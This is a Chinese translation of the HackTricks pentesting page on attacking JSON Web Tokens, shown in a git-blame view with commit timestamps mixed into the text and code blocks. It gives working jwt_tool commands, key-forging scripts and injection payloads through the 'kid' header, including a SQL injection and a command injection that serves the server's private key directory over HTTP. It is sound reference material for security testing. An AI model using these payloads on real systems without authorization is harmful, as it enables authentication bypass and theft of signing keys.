hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

279 lines
16 KiB
Markdown
Raw Normal View History

# JWT漏洞Json Web Tokens
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
如果您对**黑客职业**感兴趣并想要攻破不可攻破的 - **我们正在招聘!**(需要流利的波兰语书面和口头表达能力)。
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
**本文的部分内容基于这篇精彩的文章:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWT渗透测试工具的作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **快速成功**
运行[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool),选择`All Tests!`模式,等待出现绿色行。
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
2023-08-03 19:12:22 +00:00
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
如果你很幸运,该工具会发现某些情况下网页应用程序未正确检查 JWT
![](<../.gitbook/assets/image (435).png>)
然后,你可以在代理中搜索该请求,或使用 jwt\_ tool 转储用于该请求的 JWT
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### 在不修改任何内容的情况下篡改数据
您可以仅篡改数据,保留签名不变,并检查服务器是否正在验证签名。尝试将用户名更改为"admin"。
#### **令牌是否被验证?**
要检查JWT签名是否被验证
* 错误消息表明正在进行验证;应查看详细错误中的敏感信息。
* 返回页面的变化也表明正在进行验证。
* 没有变化表明没有验证;这时可以尝试篡改有效载荷声明。
2023-08-03 19:12:22 +00:00
### 来源
通过检查代理的请求历史记录,确定令牌是在服务器端生成还是在客户端生成。
* 首次从客户端看到的令牌表明密钥可能暴露给了客户端代码,需要进一步调查。
* 从服务器端生成的令牌表明是一个安全的过程。
### 时长
检查令牌是否持续超过24小时...也许它永不过期。如果有一个"exp"字段,请检查服务器是否正确处理它。
2023-08-03 19:12:22 +00:00
### 暴力破解HMAC密钥
[**查看此页面。**](../generic-methodologies-and-resources/brute-force.md#jwt)
### 将算法修改为None (CVE-2015-9235)
将使用的算法设置为"None"并移除签名部分。
使用Burp扩展程序调用"JSON Web Token"来尝试此漏洞并更改JWT中的不同值将请求发送到Repeater在"JSON Web Token"选项卡中可以修改令牌的值。您还可以选择将"Alg"字段的值设置为"None")。
### 将算法从RS256非对称更改为HS256对称(CVE-2016-5431/CVE-2016-10555)
算法HS256使用密钥对每条消息进行签名和验证。\
算法RS256使用私钥对消息进行签名并使用公钥进行身份验证。
如果将算法从RS256更改为HS256后端代码将使用公钥作为密钥然后使用HS256算法来验证签名。
然后使用公钥并将RS256更改为HS256我们可以创建一个有效的签名。您可以检索执行此操作的Web服务器的证书
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### 头部中的新公钥
攻击者在令牌的头部嵌入一个新密钥服务器使用这个新密钥来验证签名CVE-2018-0114
这可以通过"JSON Web Tokens" Burp扩展完成。\
(将请求发送到Repeater在JSON Web Token选项卡中选择"CVE-2018-0114",然后发送请求)。
### JWKS欺骗
说明详细介绍了一种评估JWT令牌安全性的方法特别是那些使用"jku"头声明的令牌。该声明应链接到一个包含令牌验证所需公钥的JWKSJSON Web Key Set文件。
* **评估具有"jku"头的令牌**:
* 验证"jku"声明的URL确保它指向适当的JWKS文件。
* 修改令牌的"jku"值指向一个受控的Web服务以允许流量观察。
* **监视HTTP交互**:
* 观察HTTP请求到您指定的URL指示服务器尝试从您提供的链接获取密钥。
* 在此过程中使用`jwt_tool`时,关键是更新`jwtconf.ini`文件将您个人的JWKS位置加入以便进行测试。
* **`jwt_tool`命令**:
* 执行以下命令以使用`jwt_tool`模拟场景:
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py JWT_HERE -X s
2020-12-03 10:09:49 +00:00
```
### Kid问题概述
一个可选的头声明称为`kid`用于标识特定密钥,在存在多个密钥用于令牌签名验证的环境中尤为重要。该声明有助于选择适当的密钥来验证令牌的签名。
#### 通过"kid"揭示密钥
当头部中存在`kid`声明时建议搜索相应文件或其变体的Web目录。例如如果指定了`"kid":"key/12345"`则应在Web根目录中搜索文件_/key/12345_和_/key/12345.pem_。
#### 使用"kid"进行路径遍历
`kid`声明也可能被利用来浏览文件系统,潜在地允许选择任意文件。可以通过将`kid`值更改为目标特定文件或服务来测试连通性或执行服务器端请求伪造SSRF攻击。通过在jwt_tool中使用`-T`标志来篡改JWT以更改`kid`值同时保留原始签名,如下所示:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
通过针对具有可预测内容的文件可以伪造有效的JWT。例如在Linux系统中已知包含值**2**的`/proc/sys/kernel/randomize_va_space`文件可以在`kid`参数中使用**2**作为对称密码用于JWT生成。
#### 通过"kid"进行SQL注入
如果`kid`声明的内容用于从数据库中获取密码,则可以通过修改`kid`负载来实现SQL注入。一个使用SQL注入修改JWT签名过程的示例负载包括
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
此修改强制使用已知的秘密密钥`ATTACKER`进行JWT签名。
#### 通过"kid"进行OS注入
当`kid`参数指定在命令执行上下文中使用的文件路径时可能会导致远程代码执行RCE漏洞。通过将命令注入`kid`参数可以暴露私钥。实现RCE和密钥暴露的示例负载如下
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
2023-08-03 19:12:22 +00:00
### x5u和jku
2022-05-01 13:25:53 +00:00
#### jku
jku代表**JWK Set URL**。\
如果令牌使用“**jku**” **Header**声明,则**检查提供的URL**。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。
首先,您需要使用新的私钥和公钥创建新证书。
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
然后,您可以使用例如[**jwt.io**](https://jwt.io)来使用**创建的公钥和私钥并将参数jku指向创建的证书**来创建新的JWT。为了创建有效的jku证书您可以下载原始证书并更改所需的参数。
您可以从公钥证书中获取参数"e"和"n"
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL。指向一组以PEM格式编码的X.509证书格式标准公共证书的URI。该组中的第一个证书必须是用于签署此JWT的证书。随后的每个证书都会签署前一个证书从而完成证书链。X.509在RFC 52807中定义。需要传输安全性来传输证书。
尝试**将此标头更改为您控制的URL**并检查是否收到任何请求。在这种情况下,您**可以篡改JWT**。
要使用由您控制的证书伪造新令牌,您需要创建证书并提取公钥和私钥:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
然后,您可以使用例如 [**jwt.io**](https://jwt.io) 来使用**创建的公钥和私钥,并将参数 x5u 指向创建的证书 .crt** 来创建新的 JWT。
![](<../.gitbook/assets/image (439).png>)
您还可以滥用这两个漏洞**进行 SSRF 攻击**。
2022-05-01 13:25:53 +00:00
#### x5c
此参数可能包含**以 base64 编码的证书**
![](<../.gitbook/assets/image (440).png>)
如果攻击者**生成自签名证书**,并使用相应的私钥创建伪造令牌,然后将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t那么伪造的令牌基本上将被服务器接受。
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### 嵌入式公钥 (CVE-2018-0114)
如果 JWT 嵌入了公钥,就像以下情况一样:
![](<../.gitbook/assets/image (438).png>)
使用以下的 nodejs 脚本可以从这些数据中生成一个公钥:
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
可以生成一个新的私钥/公钥,将新的公钥嵌入令牌中,并使用它来生成一个新的签名:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
您可以使用以下Node.js脚本获取“n”和“e”
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
### 使用公钥和私钥以及新的“n”和“e”值您可以使用[jwt.io](https://jwt.io)伪造一个带有任何信息的新有效JWT。
### ES256使用相同的nonce泄露私钥
如果某些应用程序使用ES256并使用相同的nonce生成两个JWT私钥可以被恢复。
这里有一个例子:[ECDSA如果使用相同的nonce泄露私钥使用SECP256k1](https://asecuritysite.com/encryption/ecd5)
### JTIJWT ID
JTIJWT ID声明为JWT令牌提供了一个唯一标识符。它可用于防止令牌被重放。\
然而想象一种情况ID的最大长度为40001-9999。请求0001和10001将使用相同的ID。因此如果后端在每个请求中递增ID您可以滥用此功能来**重放请求**需要在每次成功重放之间发送10000个请求
### JWT注册声明
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### 其他攻击
**跨服务中继攻击**
已经观察到一些Web应用程序依赖于受信任的JWT服务来生成和管理它们的令牌。已记录到一个客户端的JWT服务为另一个客户端生成的令牌被接受的情况。如果观察到通过第三方服务签发或更新JWT则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求目标时重放获得的令牌,以查看是否被接受。
* 令牌被接受可能表示存在严重问题,可能允许欺骗任何用户的帐户。但应注意,如果在第三方应用程序上注册,可能需要更广泛的测试权限,因为这可能涉及法律灰色地带。
**令牌的到期检查**
使用“exp”有效负载声明检查令牌的到期时间。鉴于JWT通常在没有会话信息的情况下使用需要谨慎处理。在许多情况下捕获并重放另一个用户的JWT可能会启用对该用户的冒充。JWT RFC建议通过利用“exp”声明为令牌设置到期时间来减轻JWT重放攻击。此外应用程序实施相关检查以确保处理此值并拒绝过期令牌的处理至关重要。如果令牌包含“exp”声明并且测试时间允许建议在过期时间过去后存储令牌并重放它。可以使用jwt_tool的-R标志读取令牌的内容包括时间戳解析和到期检查时间戳为UTC时间
* 如果应用程序仍然验证令牌,则可能存在安全风险,因为这可能意味着令牌永远不会过期。
2023-08-03 19:12:22 +00:00
### 工具
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
如果您对**黑客职业**感兴趣并想要黑掉无法黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>